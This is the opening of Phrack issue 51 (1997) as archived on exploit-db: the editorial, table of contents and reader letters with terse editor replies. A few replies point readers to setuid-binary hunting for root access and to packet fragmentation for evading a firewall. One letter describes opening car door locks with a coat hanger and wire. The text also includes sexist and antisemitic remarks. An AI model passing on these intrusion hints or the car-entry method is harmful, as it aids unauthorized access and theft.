Phrack #51

EDB-ID:

42862

CVE:

N/A


Author:

phrack

Type:

papers


Platform:

Magazine

Date:

1997-09-01


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 01 of 17


-------------------------[  P H R A C K     5 1     I N D E X


--------[  Registered Hex Offenders


    DefCon.  I love DefCon.  Why do I love DefCon?  Several reasons.  I get to 
see many people I do not normally get to hang out with.  And it's in Las Vegas.
Ok, I guess that's two reasons.  I love DefCon for two reasons.

    Las Vegas is a blast.  No two ways about it.  Free drinks _while_ you get 
FREE money.  What more can anymore ask for?!@  Sex?  Gluttony?  Corruption?
Greed?  Thin facades?  Tackiness?  Friends, it's _all_ there.

    Vegas is certainly not for everyone.  It's not for the timid, the shy or 
the compulsive.  Vegas can and will eat you alive, if you are not careful.  
Even the most vigilant often find themselves victimized by Sin City...  As I 
write this paragraph, my memory draws me back...  back to that first week in 
July 1997, towards the end of DefCon V, when a good friend and seasoned Vegas
adventurer came knocking on my door at half past 5am...  

    He was armed with a coke in one hand, a whiskey in the other.  The fact
that he was noticely unencumbered by money caught my eye.  The Casino Demons 
had relieved him of that.  He was in need of a safe place to camp for a few 
hours...  I happily obliged.  I attempted to make his stay with us as 
comfortable as possible...  However, my friend refused all attempts at 
hospitality.  He was still deep in the throes of what professional Vegas 
travelers call 'The Zone'.  He was in a dull haze, a casino-atmosphere-induced 
catatonic state, in which external stimuli are, for the most part, ignored.  
There was little I could do for him, so I bedded down...  And there he sat, 
engulfed in darkness, deep within his own world...  Eventually, exhaustion 
overcame him, and he drifted into an uncomfortable sleep...  Early in the
morning, he arose, determined to retake his reappropriated wealth.  

    It took me a few tries of getting raped by that town before I realized how 
it works, and, more importantly, how to work it.
    
    It can be summed up in one word.  An abbreviation even.  COMPS.  Vegas is 
all about being compensated for.  Compensation for being in out in the fucking 
desert.  Compensation for staying in some shitty hotel.  Compensation for 
winning some of their money.  Compensation for losing ALL of your money.  
Learning how to have a good time in Vegas means learning how to get comped.
In order to be comped, you must either a) be some one important, b) know 
someone important, or the most common occurrence, c) comp other people.

    This past DefCon, I had my room upgraded from a single-bed room on the
first floor, to a double-bed on the second, and then from that to a $400/nite 
suite somewhere up in the 20's (you know, the kind with the double doors).
It's all about knowing how to work the system.  Knowing how to get comped.
Complaining about something is often a good way to get something for free in
Vegas.  So is being put out in some fashion or another.  Go ahead and watch 
Casino and Swingers a few dozen times and you will get the idea...


    A word about this issue.  In my opinion, and the opinion of many people
way cooler then me, this is the Best Phrack Issue Ever (TM).  Ok.  Now.  In
Issue 48, I know I promised timely dissemination.  However, I am an older / 
wiser Phrack editor now, and, what it comes down to, is that timeliness is not 
always possible.  Not when there is a minimum level of excellence that must be 
preserved.  This issue is a perfect example of that phenomena.  We have 
amassed some seriously cool shit this time around.  Technical excellence 
abounds here, and if we are a few weeks late, I think it should be well worth
the wait.  We've got several ground breaking articles, a great deal of source, 
fully nude photos of Milla Jovovich (not available in ASCII-Phrack) and a new
format.  Commentary, as always, is appreciated.

    What makes this (or any) issue so damned good?  Simple.  The incredible
array of talented individuals that graciously lend their time to writing
articles for us.  I just want to give a word of thanks to you guys: past, 
present and future.  Without you, Phrack would slip quietly into the night...  
This issue, a special werdup to halflife for the technically superior work
he contributed for P51, thrice over.

    Phrack 51 comes atcha power-packed with new streamlined formatting!  We
cut out colons, added a surplus of dashes and brackets, and b00m!  Less fluff,
more EDGE.  Areodynamicphrack.  Europhrack.  _Slickphrack_.

Bad to the bone and shot to the heart when you think about Phrack, you touch 
yourself.

Enjoy the magazine.  It is for and by the hacking community.  Period.

PS

The aforementioned gamblaholic ended up being comped three $20 meals, and a 
show (Lance Burton at the Monte Carlo).  Man, that lucky son-of-a-bitch got to 
see Lance at the Carlo...

   
-- Editor in Chief ------------[  route
-- Nominal Editors ------------[  datastream cowboy, alhambra
-- We've given up hope --------[  voyager
-- Phrack World News ----------[  disorder
-- Phrack Webpage Sloth -------[  loadammo
-- Most Likely To Be Beaten ---|
-- About the Head and Neck by -|
-- Xanax ----------------------[  Nicki Jarecki
-------- Elite ---------------->  omerta
-- Number One Crush -----------[  Milla Jovovich
-- Extra Special Thanks -------[  halflife
-- The Man on The Inside ------[  varak
-- Gas Face Given -------------[  "Lunatic Unix with Tunics"
-- Got owned?  Shoulda used ---[  OpenBSD
-- Shout Outs -----------------[  The Guild, r00t, The Death Vegetable, Swamp 
                                  Ratte, prym, maverick, Cantor, nirva, The 
                                  Army of the Twelve Monkeys, guyver, mycroft, 
                                  Asriel, Theo Deraadt, X, Torquie, mudge.

Phrack Magazine V. 7, #51, September 01, 1997.  ISSN 1068-1035
Contents Copyright (c) 1996/7 Phrack Magazine. All Rights Reserved.  Nothing 
may be reproduced in whole or in part without written permission from the
editor in chief.  Phrack Magazine is made available quarterly to the public, 
free of charge.  Go nuts people.  


Subscription requests, articles, comments, whatever should be directed to:

                phrackedit@phrack.com

Submissions to the above email address may be encrypted with the following key:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW
ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O
vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j
0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W
DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG
/v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu
Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU=
=1iyt
-----END PGP PUBLIC KEY BLOCK-----   
                                    
As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED.  Phrack goes out 
plaintext.  You certainly can subscribe in plaintext.


-------------------------[  T A B L E   O F   C O N T E N T S

 1 Introduction                                            Phrack Staff    9K
 2 Phrack Loopback				           Phrack Staff   45K
 3 Line Noise				                   various        71K 
 4 Phrack Prophile on Swamp Ratte                          Phrack Staff   14K
 5 File Descriptor Hijacking                               orabidoo       20K
 6 LOKI2 (the implementation)                              route         111K
 7 Juggernaut 1.0 - 1.2 patchfile                          route          11K
 8 Shared Library Redirection                              halflife        7K
09 Bypassing Integrity Checking Systems                    halflife       11K
10 Stealth RPC scanning                                    halflife        7K
11 The Art of Scanning                                     fyodor         87K
12 The Eternity Service                                    Adam Back     118K
13 Monoalphabetic cipher cryptanalysis                     mythrandir     16K
14 Phrack Magazine Article Index Guide                     guyver        100K
15 A Brief introduction to CCS7                            Narbo          10K  
16 Phrack World News                                       Disorder       83K
17 extract.c                                               Phrack Staff    3K

                                                                         723K

-----------------------------------------------------------------------------
 
"...Who's the big winner tonight...?  Mikey!  Mikey wins!  Mikey's the big
    winner...!"
    - Trent "Double Down" (Vince Vaughn)


*jtb* phrack's like wine, it gets better with age
*jtb* as opposed to, like, decomposing.


"...Daddy needs a new pair of Jews..."
        - loadammo, clamping a mighty hand down upon my shoulder and a mighty
          hand down upon alhambras shoulder, Blackjack Tables, DefCon V, Las 
          Vegas, NV.

-----------------------------------------------------------------------------

----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 02 of 17


-------------------------[  P H R A C K     51     L O O P B A C K


--------[  Phrack Staff



0x1>-------------------------------------------------------------------------
  
Issue 50 proves that Phrack _is_ back, and better than ever.
Congratulations to you and the rest of the Phrack staff for putting
together what I think is by far the most informative issue to date.  The
quality of the articles and code (YES! Lots of code!) reflects the hard
work and commitment that obviously went in to this issue.  I could go on,
but I'm all out of lip balm.

Thank you!
_pip_


    [ Thank you.  We aim to please. ]

0x2>-------------------------------------------------------------------------

    { ...Bugtraq Phrack 50 announcement deleted... }

So What?
Who cares? get this crap off of the mailing list.
phrack is as much trash as 2600 or any other 
little idiot magazine.


    [ Thank you.  We aim to please. ]

0x3>-------------------------------------------------------------------------

juggernaut is way cool, man.

minor bug: you dont unset IFF_PROMISC on exit, so it's not terribly stealthy,
but it's no big deal to fix. 

anyway. cool.

.techs.


    [ Although Juggernaut is *not* meant to be a 'covert' program you are 
    completely right about that.  I should unset promiscuous mode when the 
    program exits.  In fact, in version 1.2 (patchfile available in this
    issue) I include this very thing. ]

0x4>-------------------------------------------------------------------------

Hi!
 I've got the p50.tgz and well, played a little with jugernaut.
It's realy cool but:
	1) It doesn't compile so clean. You've forgot to #include
<linux/netdevice.h> before <linux/if_arp.h>
 	2) The spy connection part is not quite cool because you 
sniff and dump all the stuff that is comeing from the dest. port 
and dest. host ...
 So if U try 2 spy say:
193.226.34.223 [4000] 193.226.62.1 [23]
U spy in fact all the stuff that is comeing from 193.226.62.1 [23] for
ALL the conn. made to 193.226.62.1 on the 23 (telnet) port.
 This will cause a cool mess on the screen.
I've tried 2 restrict the spying by introduceing a new cond.
iphp->daddr==target->saddr in net.c ... it brocked the spy routine

Maybe U'll fix somehow that thing..

All my best regards,
	Sandu Mihai


    [ <linux/if_arp.h> includes <linux/netdevice.h>.  The compilation of the
    program should go smoothly on any linux 2.0.x based system.  Version 1.2 
    also fixes the TCP circuit isolation problem you allude to... ] 

0x5>-------------------------------------------------------------------------

Thanks!

This is a very impressive tool! Brilliant work!

Thank you,

--Craig


    [ Thank you. ] 

0x6>-------------------------------------------------------------------------

I'm just writing this to say thanx for putting out such a kickass publication.
Down here in 514 it's fuckin dead, you mention hacking and half the people
don't have a clue what Unix is.It's fuckin pathetic, but i'm glad to say
that your mag has helped a lot and i look forward to future issues, you guys 
really do make a difference in the hacking community.  Thanx.  

Snake Eyes 

    [ Amen to that. ]

0x7>-------------------------------------------------------------------------

Hi! =8)

Why don't you (at Phrack) compile an updated Pro-Phile on known H/P
Groups like the one on issue #6 ?
So we - the readers - can know something more about the ACTUAL scene
(but perhaps it's not worth - ppl's sick of all that 3l33t d00dz ;)

I really appreciated that dox & srcs on spoofing, D.O.S., etc.
HIGH technical quality, sources, articles, news.... and it's free! :P
Ahh that's life! ;)

However, great job with the latest Phrack issues.
To quote a friend of mine (talking of Phrack Magazine)...

> It's improved a lot with Deamon9 in command....

K, that's all.
**PHRACK RULEZ!** (I had to say that :)
Oh... and sorry for my english!

Cya....

-Axl-   

    [ Not a bad idea.  Perhaps someone would like to do an article on
    the existing groups out there for P52? ]


0x8>-------------------------------------------------------------------------

I would like to know what you suggest to get me headed in the right
direction reguarding the compromise of computers on the internet.
any information that you would be able to spare would be most appreaciated.
atomicpunk.

    [ It's *all* about compromise.  It's something you have to do.  Be fair to 
    them.  Listen to them.  Don't shut them out of your life.  They are 
    wonderful creatures...  It's a give and take thing and sometimes, yes, you 
    *have* to compromise -- that's part of having a mature relationship. ]

    
0x9>-------------------------------------------------------------------------

I recently locked into my car so i called a friend to come help me 
when the slim jim was no help he decided to try another less known
method.

We simply took a stiff metal coat hanger and straightened it out and
made a small loop in it then we took a small speaker wire about 3 feet
long and tied a loop into one end so it would slide to make the loop 
smaller or larger.

Then you take the wire and run it in through the loop in the hanger
and pry the top edge of the car door open and slide both looped ends
through holding onto the unlooped ends.
 
then you use the hanger to position the loop in the speaker wire
around the door lock once you have the loop into position you hold
the hanger steady and gradualy pull the loop tight around the lock 
once the loop is tight you just pull up on the hanger.

This works on most all vehicles with top door locks and with a little 
prep. and practice can be done in under 2 mins. also its less 
conspicious and easier to get than a slim jim. and they are cheap 
so no one care to toss the out after breaking into an entire lot of cars.

Hope you found this phile worth while
C'ya 
The Stony Pony


    [ Aspiring young car thieves among us thank you; however if you
      lock yourself in the car again, you might try unlocking the door
      manually. ] 

0xa>-------------------------------------------------------------------------

                   HOW YOU KNOW YOUR A TRY HARD HACKER
                  -------------------------------------
                  
                    
                           By [Xtreme]


I just wrote this to tell all you try hard hackers something.

1) You goto other hacker pages on the web.
2) You think loading a program that waz made by a hacker is hacking.
3) The only thing you do is get the lastest passwd file from your isp.
4) You goto channels like #hack and ask for passwd files.
5) You don't know where to get warez.
6) You always telnet to hosts and type

login: root
password: root

and stuff like that.

7) You brag about how you are a hacker.
8) You don't know C.
9) Your a girl.
10) You don't know what's a shell.
11) You don't know what Linux, FreeBSD and all those other UNIX's are.
12) You don't have a UNIX OS.
13) You think when using IRC war scripts, your hacking.
14) Asking how to hack other people's computer.
15) You try cracking a shadowed passwd file.
16) You don't know if a passwd file is shadowed or not.
17) You ask what is a T1.
18) You ask how to email bomb and you think email bombing is a form of hacking.
19) Your learning BASIC language.
20) You think you can get into hacking straight away.
21) You don't know how to set up an eggdrop bot.
22) You think .mil stands sites stand for a country.


    [ That is without a doubt, the dumbest thing I have ever read in my life.
    Not only do I award you no points, but we are all now dumber having read 
    that.  May God have mercy on your soul. ]

0xb>-------------------------------------------------------------------------

What command do I use to make you denial of service package work?


    [ You hit yourself in the head with a hammer. ]

0xc>-------------------------------------------------------------------------

I was scanning the 413 xxx 99XX range and I found some #'s.  I have
no idea what they do.  I was wondering if you could help me out.
Maybe call them and see what you find or someting.

(413) xxx-99xx
(413) xxx-99xx
(413) xxx-99xx		These are all fax #s, I think
(413) xxx-99xx

(413) xxx-99xx		goes beep beep beep

(413) xxx-99xx		goes beeeep

(413) xxx-99xx		auto foward I think

(413) xxx-99xx 		goes beeep beeep


    [ I tried calling these but I got no answer.  Maybe the 'X' on my phone
      is case sensitive? ]

0xd>-------------------------------------------------------------------------

Sir,
I would like to know how could I get root permission from a simple user.
I have read that this can be accomplished by setuid programs, and I have read
an article describing the way this can be done in Phrack Magazine. Still I
couldn't gain root access. I would be very interested in finding ways of doing
this on Irix 5.2 or Solaris 2.5. If you know anything about this, please 
send me an e-mail. If you know any resources on the Web that details the use
of setuid programs in order to get root access, please tell me.


    [ P49-14 ]

0xe>-------------------------------------------------------------------------

>AND FOR THE LOVE OF GOD, SOMEONE NOTIFY MITCH KABAY...!<

Mich, not Mitch.  "Mich" is short for "Michel."


M. E. Kabay, PhD, CISSP (Kirkland, QC)
Director of Education
National Computer Security Association (Carlisle, PA)
http://www.ncsa.com

    [ No, Mike is short for Michael. ]

0xf>-------------------------------------------------------------------------

Your zine is the best
Please send it to Psycho Al1@aol.com
  
The Psychotic Monk

PS:Aohell rulez


    [ You are an idiot. ]

0x10>-------------------------------------------------------------------------

Hi, Phrack people!

Great job on issue 50! Nice magazine. Article 'bout TTY hijacking is really 
superb.

I have just one question to you. Is there any holes on target system in this
situation? There's a server, running freeBSD 2.1.5, with a shadowed passwords.
I've got a dial-up account on that machine as a simple user. What bugs can I 
use for having root privileges?

Best wishes from Ukraine!!                                         OmegA


    [ find / -perm -4000 -print ]

0x11>-------------------------------------------------------------------------

hello... long-time reader, first-time writer:

	i know that all "submissions" are to be encrypted... and i should be
	encrypting anyways, but i'll make it quick ... besides, this isn't
	really a "submission..."

	congrats on reaching the 50th issue mark, and congrats on an
	excellent ish!

	i just a quick question.  i would like to reprint the <soapbox>
	for issue #50 on my web page, with a hypertext link to the
	Official Phrack Homepage (http://www.fc.net/phrack/ - correct?).
	I think it says brings up some important points, and since it's
	copywrited, and you sren't losers, i'd ask you (it's not like a
	simple copywrite has stopped anyone before)!

		thanks,
		lenny


    [ A simple copyright may not stop people, but the simple restitution
    remanded by courts might.  However, go ahead and put a hypertext link.  
    The official webpage will be at phrack.com/net/org, SOON. ]

0x12>-------------------------------------------------------------------------

     In Volume Four, Issue Forty-One, File 3 of 13, Supernigger was featured
in your Phrack Pro-Phile.  Whatever happened to him?  Did he "grow up and
get a real job" or is he still lurking around?

     - Styx


    [ Both. ]

0x13>-------------------------------------------------------------------------

People @ Phrack:

 In Phrack #50 in the file 'Linenoize' Khelbin wrote an article about remote
BBS hacking, namely using Renegade's default 'PKUNZIP -do' command overwrite
the userbase with your own ...

For some strange reason, while renegade is booted, and if it runs PKUNZIP -do
the procedure will NOT work... but the procedure DOES work when Renegade is
down at the Dos Prompt..?

Does Renegade extract files into memory or something while testing for
integrity? -8) .. I tried this out on 10-04, 5-11 and even
04-whatever-the-fuck-that-version-was and it didn't work.. I think Khelbin
needs help for his chronic crack addiction since I can't find any way possible
to get his article to work..

op: Taos BBS

~~~ Telegard v3.02


    [ We dunno.  Anyone else have an answer? ]

0x14>-------------------------------------------------------------------------

Regarding Xarthons submission about Linux IP_MASQ in Phrack 50...

The masquerading code is not designed for security. Hardwiring RFC1918
addresses into the IP_MASQ code is not a clever idea for two reasons:

1) It diminishes the usefulness of the code. I have used masquerading to
keep things running when my company changed internet providers. I
masqueraded our old _valid_ IP range. Other people may come up with
other valid uses, like providing redundancy through two ISPs.
2) The masquerading code is part of the Linux packet filter, which can
certainly be configured to prevent spoofing, a quite a bit more.

If the static packet filter and the masquerading code are used together
they can provide as much security as a 'dynamic' filtering firewall like
Firewall-1 in many cases. A very short 'HOW-TO':

1) Put spoofing filters on all interfaces. Only allow incoming packets
to the external interface if the destination address is that of the
external interface (that's the address the masquerading code inserts as the
source address of outgoing packets).

2) Insert rule(s) in the forwarding filter to masquerade your outgoing
packets. You do not need to route incoming replies to masqueraded
packets, that happens auto-magically. Deny everything else (and _log_).

3) Make sure the gateway does not run anything that leaves you
vulnerable. Don't run NFS, the portmapper etc. Update sendmail, bind to
the latest versions if you run them.

4) Disable telnet, and use 'ssh' for maintenance. If you must support
incoming telnet connections through the firewall install the TIS firewall
toolkit, and use one-time passwords.

5) Run 'COPS', 'Tripwire'.

6) Read a good book about Internet security, and make sure you
understand all the issues involved before you configure _any_ firewall,
even one with a GUI and a drool-proof manual.

I hope this is useful to some people.  

Ge' Weijers (speaking for myself only) 

0x15>-------------------------------------------------------------------------

You write in P49-06:

  ...  The only sure way to destroy this
  channel is to deny ALL ICMP_ECHO traffic into your network.

No.  It suffices to clear the content of the packets
when passing the firewall.


ralf

    [ True enough.  However, by doing this you remove the RTT info from
    the ICMP echos which will break some implementations which rely on it. ]

0x16>-------------------------------------------------------------------------

Hi, Im a Wannabe, maybe you would call me and idiot.
Where do you guys hang out, IRC? Wich channel, #supreme? Wich server?
Know any good trix for me how to learn more about hacking?

Please answer my letter, I know that you get lots of letters, but
please!!

    [ EFNet, #phrack ]

0x17>-------------------------------------------------------------------------

You cant realy say that IRC is for loosers cuz in Phrack 50 I saw an
article with some text taken from IRC, and you were logged in.

    [ We are losers.  Ergo, yes we can. ]

Which good hack books, UNIX books or things like that do you recommend.

Thank You For An Answer!!

    [ Anything Addison Wesley or ORA.  Also, many of the PTR/PH books. ]

0x18>-------------------------------------------------------------------------

I am writing to inquire about the fate of Pirate Magazine
and how I might contact it's creators. It seems to have been out of
circulation since 1990 and I was hoping to look at possibly organizing
some kind of initiative to revive this excellent publication. I thought
first to turn to Phrack magazine. Thanx for your time.

Joong Gun

    [ Anyone have any information? ]

0x19>-------------------------------------------------------------------------

Hello, 

            I just got Phrack 50 and loved it....It is the first one I've
got. I was wondering if you guys know about any other newsletters or
magazines that are sent to your e-mail address or you can get off the web on
a regular basis, like Phrack. thanX

    [ Other magazines come and go on a pretty regular basis.  Phrack is
    eternal. Phrack is all you need. ]

0x1a>-------------------------------------------------------------------------

Please help me.  If I can't join your club, please let me learn from you.  I
am interested in both Program hacking and remote access.

Thanks.

quattro

    [ You join our club if you can find our secret clubhouse. ]

0x1b>-------------------------------------------------------------------------

hi. This is from a guy you probably will never hear of again, and
definantly have never heard of already. I wanna ask you a question. At
my school, people write crap on their backpacks with witeout. I have
never done this for 2 reasons

1) I dont wanna be grouped with the poseur metalheads, etc who write
"Pantera" and "666" and "Satan" etc but cannot name a song of thiers,
and/or go to church....

2) I dont wanna be grouped with the wanna be hackers who write stuff
like Anarchy symbols, "Aohell" "Kaboom" and the such, because thats just
plain lame. You have to feel sorry for people who think they are elite
because they can mailbomb somebody.

Another reason I have never written anything is I havent found anything
worht advertising. Now i have, I wanna write "The guild" or something to
that extennt maybe "r00t" or something. I have not done this for i do
not want to piss you off (indirectly something may get to you about it.
It could happen, remember the 6 degrees of seperation? hehehe). If this
is ok with you, lemme know please. (cad@traveller.com) Also, if your
wondering why im mailing this to you alone,  it is because you are a
fucking baddass. heh. Well, lemme know whenever ok? thanks.

(I know i have an absence of punctuation, i'm in a hurry and I have
homework)


    [ You have our permission to write r00t on your backpack. ] 

0x1c>-------------------------------------------------------------------------


yes i want to learn how to hack and need to learn fast
Js444 told me you can help
will repay BIG
thanks
 
    [  How big?  ]

0x1d>-------------------------------------------------------------------------


I sent this from your hoime page...is it X-UIDL?  I dunno, it's 4 AM
anyway

um oh, keep in mind that ur response (if made) to this may be dumped to
#hack printed in the next Citadel knockoff or whatevrr

I was just like thinking oh, I was thinking "I don't have an Irix
sniffer!"...actually my thoughts don't have quotes around them it was
more like

~o- all the Irix sniffers I have suck -o~

and then theres like Irix 4, 5, 6.  Bah.  And like sniffit sucks and
anyway.  And then I mentioned this and people were making fun of me, but
I don't care.  I only care lately when people are like, "Oh that's what
youy make?  I'm 17, have a criminal record and make three times that!". 
Anyway, people are like, "No, no nirva is elite" so I thought, aha, I'll
ask nirva what a good Irix sniffer is.  Oh, like now that people are
laughing at that I have to keep this quets like secrtet.  I even think
some Irix's don't have compile, like Solaris.  Christ, some Solaris's
have jack shit.  Anyway.

1) Why don't u log on #hack, or are you tres elite #!guild or beyond
elite #www or #root #Twilight_Zone and more importantly

2) Irix sniffer - captures passwords, actually compiles.  I hate
coding.  I am a a lazy American.  And like, getting legit root access on
an Irix...bvah, Irix sniffer!

Bye-bye hackers

oh PostScript

3) Are you a cyberpunk?

If I ran Phrack I wouldn't like Mr. Tishler have "Are hackers in general
geeks?" as the question _everyone_ gets, I think, Are you a cyberpunk? 
Would be it

    [ 1.  We do hang out on as many public channels as we can stand for
          at least a little bit of time each issue.  But really why do
          you care if an editor of Phrack is there when people are shouting
          about their penis size and how many drugs they are on?  If you
          want to talk about something, we are always available by e-mail
          and will usually talk to you by private msgs if we aren't busy
          doing something else at the moment.  
      2.  Anyone want to write us a really cool one?
      3.  Who are we to change tradition? ]

0x1e>-------------------------------------------------------------------------


Hello,

I wanna ask you something about the following problem. I'm really stuck (the 
1st time ;-)) ! Is it possible to pass a firewall and access one of the 
domains behind it ??  I'm afraid that the sysadmins did their job fine :( 
I've got everything what I need but that damn  wall....I'll give you some info 
that I've obtained so far:

- IP-address of the firewall,
- All the domains + IP adresses behind this wall,
- The login-account of the superuser,
- All the open-UNIX ports behind the wall,
- The company has no WWW-site but they do have an Intranet.

portscanning gives me this: 
21~=ftp,
23~=telnet,
25~=smtp-mail 220 x.x.x.x SMTP/smap Ready.

This is at IP x.x.x.2 but I found out that also x.x.x.1 belongs to the same 
company with 3 other ports...
7~=echo,
9~=discard-sink null
79~=finger.

Is the only way to go by D.O.S. attack the firewall and then spoof the 
firewall's IP addres ?

But how to start ?? Woul u be so kind to help me ??

TIA,
theGIZMO


    [ fragmentation. ]


0x1f>-------------------------------------------------------------------------


Ok, this might sound dumb , but, I think it would be cool to have this as a
slogan.

"Blah, blah, blah, and along with your subscription, you'll receive a
LIFETIME WARRANTY ON YOUR BRAIN!!  That is, if for any reason your brain
can't figure out a problem you're having hacking, just e-mail us with your
question and we'll be glad to help you out. Note: Please PGP encrypt all
questions regarding hacking questions. Thank you."

Do you like it? Note that blah, blah, blah is whatever you would it to be.
Such as, "You can subscribe to Phrack Magazine by sending e-mail to
Phrackedit@infonexus.com requesting you be put on the list, and along with
your subscription......" 

Ok, thats it....write back if you like it....or if you don't. Here is my PGP
public key.
Oh yeah...you might have gotten mail from PhatTode@aol.com. That is me. So
direct replies to those messages to this new address...Thank you.

    [ You're right.  It does sound dumb. ]

0x20>-------------------------------------------------------------------------


Hey,
   sorry to bother you but I just got Redhat Linux 4.1 in the mail.  I
think it's great besides the fact that I hear that it lacks security. 
HOw do I get PGP up in it?  Is it easy to install?  Thanks.

Killer Bee
  
    [ yes, very easy to install.  Read the documentation.  It's different 
    for different platforms.  ]

0x21>-------------------------------------------------------------------------


Hello 

	My name is Joseph and I am intrested in any information you may have
about the early day's of hacking and current hacking underground.. also
I understand you are a member of the guild ?? what is this?

Joseph --> jgriffiths@iname.com

    [ The guild is like what r00t was before r00t got all famous and became 
    greatly feared and admired.  Oh.  And we spend most of our time counting
    our millions and having sex with models. ]

0x22>-------------------------------------------------------------------------


Hi there,

Do you know where I can find the Rosetta stone for interpreting the output
of Solaris  lockd & statd in debug mode?  I can't find any public information
about it, even on Sun sites.  Sun Microsystem refuses to let their lab
publish anything about interpretation of system calls outputs.  Are they
afraid that they will be losing support contracts if this information gets
out?  The man page does not include arguments to run in debug mode, and
what's the point of providing the tools w/o the means to interpret the
result?  Teach a man how to fish .....you know.

Thanks.

Christine

    [ Someone want to write an article on it? ]

0x23>-------------------------------------------------------------------------


In regards to the article on Ethernet spoofing:

As an aside note for the highly paranoid:  ethernet spoofing

Note: some of this is theorized, and might not be 100% accurate - if you
get the jist of it, you should be able to figure out if it works for
you.

It is possible to spoof ethernet hardware addresses as well.  Some cards
will allow you to do this easily, but you need to have card programming
docs (check the Linux kernel source for your card driver-!!).  Others
won't let you do it at all, and require a ROM change, or worse it might
be solid state logic on the card - EVIL.  Course you might be able to
get around solid state stuff by recoding the ROM, but I wouldn't
recommend it unless you don't have the $70 to buy a new card, and have a
month or two to spend in the basement.

	... rest of stuff(tm) deleted ...

Interestingly enough, most of the Sun sparc stations I've seen allow you to
enter in any mac address that you want using ifconfig(1M).  I "know someone"
who picked up a Sparc IPC for $50 (Can $$) and upon discovering that the
battery that powers the IDPROM was deceased, we needed to fake a mac address
to get it to talk to someone.  Sun's default is 0:0:0:0:0:0 but the 3Com
card's mac (from a different network) worked quite nicely.

Interesting concept the author has though, I'll be f*ck around with the idea
when I'm supposedly doing work =)


    [ MAC address spoofing techniques are well known about, especially under
    Sparcs.  However, do some research, write some code and an article and 
    submit it... ]

0x24>-------------------------------------------------------------------------


I love your e-zine it is the coolest thing i've read.

    [ Thank you.  It's the coolest thing we've written. ]

Please could you tell me any ways to violate the security of a "MacAdmin"
based system on the Apple Macintosh.

    [ What's a Macintosh? ]

Mark "Vombat" Brown

May phrack and Fiona live forever!


    [ ...and may Phrack and Fiona do a joint project some time soon... ]


0x25>-------------------------------------------------------------------------


	Hey, I sent this to you because yer handle is shorter.
Anyways, great job on issue 50, always a pleasure to read it, and
in article 12, by Sideshow Bob, I was wondering about the "tail"
command. I don't seem to have this nifty util, and was wondering 
if perchance, you knew where I could get a copy. Also: the Skytel 
article sorta looked like an advertisement to me. Nothing against that, it's
still pretty interesting to learn of Skytel's history, and of the nifty things
out there, but I was wondering if it sounded like a detailed ad to anyone else.
But if you could help me out with the tail command, I'd be so grateful.
			Joel Thomas

    [ Standard GNU utility.  Try your local unix box. ]

0x26>-------------------------------------------------------------------------



| 
| G'day mate, 
| I am a computer user in Camplong, Timor.  I have limited internet access, as
| it is a long distance phone call from home.  I have downloaded your issues
| 46-50 and haven't read through them all yet, but what I see looks good.  
| What I need from you is a UUENCODER program so I can extract the included
| files. 

    [  Standard GNU shell tool.  Any Unix host will have it.  Do a websearch   
    to get it for Windows.  ]

| I am also confused on how to extract the .c files from the text
| files(philes?). 

    [  As it says in the header file: gcc -o extract extract.c  

    then `extract filename`  ]

| I am not a C programmer, but my dad is.  

    [  That's nice. ]

| 
| I need PGP.  Although my side of the internet is safe, noone reading others
| letters (the sysop is too dumb or something to even think about that) I want
| my mail to get where it is going in one piece unread. Where can I find a
| free copy of PGP?  

    [  Do a websearch.  ]

0x27>-------------------------------------------------------------------------



.. crack me up. Excellent social porno in your reader's letters section.
Keep on commenting. Might start screaming soon.

Um, the guy from slovakia might want to get hold of Bill Squire for
information on smartcard programmers; as I seem to recall, he likes
messing with these electronic devices.

Another thing; I though DC was now just sticking to his viola? According
to all the news he only started hacking because someone vandalized it? 
Wonder if I should have used the same thing in my case: "I plead not
guilty, Magistrate sir, but the University's good-for-nothing courses
drove me to it." Whatever it takes, I guess.. 

Yum. 

-me.


0x28>-------------------------------------------------------------------------


This is a response to p48-02 in which one "Mr. Sandman" proceeded to spew
out eleven paragraphs of blatant misinformation. Rather than lumbering
through a point-by-point rebuttal to his letter, I will quickly summarize
what was wrong with it, and then state a few facts to clarify some things.

KoV never touched Skidmore. This is something that anyone who was in the
group will attest to. And not just to follow the old "admit nothing, deny
everything" plan. In reality, we NEVER touched it.

In retrospect, I find it very odd that someone from New York would claim
to know so much about the inner workings of a decidedly regional
[Connecticut] hacker collective. While we weren't exactly xenophobic, we
certainly didn't go out of our way to divulge information about ourselves
to anyone outside the group (or the state, for that matter). This would
explain why Mr. Sandman's letter was riddled with insufferably laughable
lies that were obviously the product of a jealous and dejected outsider.

One thing that needs to be put to rest is that we were certainly not "a
bunch of egotistical and immature criminals" as Mr. Sandman would have you
believe. The primary focus of KoV's efforts was not to "break into
universities" or "make ourselves look bigger and more important than we
were." We existed, first and foremost, to unify what was, at that time, a
greatly divided scene. Squabbling and infighting among those few real
hackers who were still around was leading to a critical breakdown at the
fundamental level. Something had to be done, and fast. In an effort to
bring together a group of like-minded individuals (not only from the
hacker perspective but also in terms of anarcho-libertarian philosophy and
ideology), I started KoV with an intentionally humorous name behind the
acronym. It was an almost immediate success, and over time I certainly
accomplished all that I'd set out to do, and then some.

The current state of the "Connecticut hacker scene" (for lack of better
terminology) is much different than it was in the summer of 1994. People
are working together, cooperating, and the incessant "civil wars" which
plagued us back then are all but nonexistent today. I think I'd be well
